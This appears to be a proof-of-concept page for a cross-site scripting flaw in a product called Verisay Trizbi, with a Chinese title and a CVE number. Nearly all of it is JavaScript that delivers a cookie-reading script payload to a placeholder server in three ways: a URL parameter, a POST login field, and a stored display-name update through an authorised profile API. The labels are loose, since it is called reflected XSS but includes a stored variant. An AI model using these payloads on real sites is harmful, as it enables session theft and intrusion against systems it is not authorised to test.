CVE-2025-2406: Verisay Trizbi跨站脚本(XSS)漏洞

// CVE-2025-2406 XSS PoC for Verisay Trizbi // Target: Trizbi < 2.144.4 // Type: Reflected XSS const payload = '<script>alert(document.cookie)</script>'; const targetUrl = 'https://target-server/trizbi/endpoint'; // Method 1: GET request with URL parameter const exploitUrl = `${targetUrl}?input_field=${encodeURIComponent(payload)}`; // Method 2: POST request async function sendXSSPayload() { const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `username=${encodeURIComponent(payload)}&password=test` }); return response.text(); } // Method 3: Stored XSS via API async function storedXSSPayload() { const response = await fetch('https://target-server/trizbi/api/user/profile', { method: 'PUT', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <token>' }, body: JSON.stringify({ displayName: payload, email: '[email protected]' }) }); return response.json(); } console.log('XSS Payload:', payload); console.log('Exploit URL:', exploitUrl);